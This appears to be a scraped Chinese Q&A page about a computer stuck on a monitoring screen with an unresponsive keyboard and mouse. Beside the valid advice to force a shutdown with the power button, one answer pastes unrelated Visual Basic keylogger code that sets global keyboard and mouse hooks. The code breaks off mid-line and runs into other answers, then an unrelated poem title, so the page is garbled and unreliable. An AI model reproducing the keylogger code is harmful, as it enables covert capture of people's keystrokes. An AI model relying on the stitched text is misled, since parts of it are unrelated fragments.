电脑的监控画面没办法退出，键盘都摁废了！屏幕连鼠标都找不到。

电脑的监控画面没办法退出，键盘都摁废了！屏幕连鼠标都找不到。

可长按开机键来强制关机。

窗体代码： option explicit private sub form_load() keypreview = 1 scalemode = 3 autoredraw = 1 caption = "键盘记录" module1.ints '初始化数据 hhook = setwindowshookex(wh_keyboard_ll, addressof mykbhook, app.hinstance, 0) '挂钩 '加载 if hhook = 0 then end hhook2 = setwindowshookex(wh_mouse_ll, addressof mynsehook, app.hinstance, 0) '挂钩 '加载 if hhook2 = 0 then end end sub private sub form_unload(cancel as integer) call unhookwindowshookex(hhook) '程序退出时 call unhookwindowshookex(hhook2) '程序退出时 end sub ========================== 模块代码 option explicit public type eventmsg vkey as long skey as long flag as long time as long end type public type msllhookstruct x as long y as long flag as long time as long extrainfo as long end type declare function unhookwindowshookex lib "user32" (byval hhook as long) as long declare function setwindowshookex lib "user32" alias "setwindowshookexa" (byval idhook as long, byval lpfn as long, byval hmod as long, byval dwthreadid as long) as long declare function callnexthookex lib "user32" (byval hhook as long, byval ncode as long, byval wparam as long, lparam as long) as long public declare sub copymemory lib "kernel32" alias "rtlmovememory" (destination as any, source as any, byval length as long) public mymsg as eventmsg public const wh_keyboard_ll = 13 public const wm_keydown = &h100 public const wh_mouse_ll = 14 public const wm_lbuttondown = &h201 public const wm_lbuttonup = &h202 public const wm_mousemove = &h200 public const wm_rbuttondown = &h204 public const wm_rbuttonup = &h205 public const wm_mousewheel = &h20a public const wm_mbuttondown = &h207 public const wm_mbuttonup = &h208 '全局变量 public hhook&, hhook2&, i%, appstr$, s1$, s2$, pos1$(), pos2$() sub ints() '加载ascii码与对应的键盘内容 s1 = "96 97 98 99 100 101 102 103 104 105 106 107 109 110 重新开关机啊，直接关电源

23、四时田园杂兴 范大成

如以上回答内容为低俗、色情、不良、暴力、侵权、涉及违法等信息，可以点下面链接进行举报！

点此我要举报以上问答信息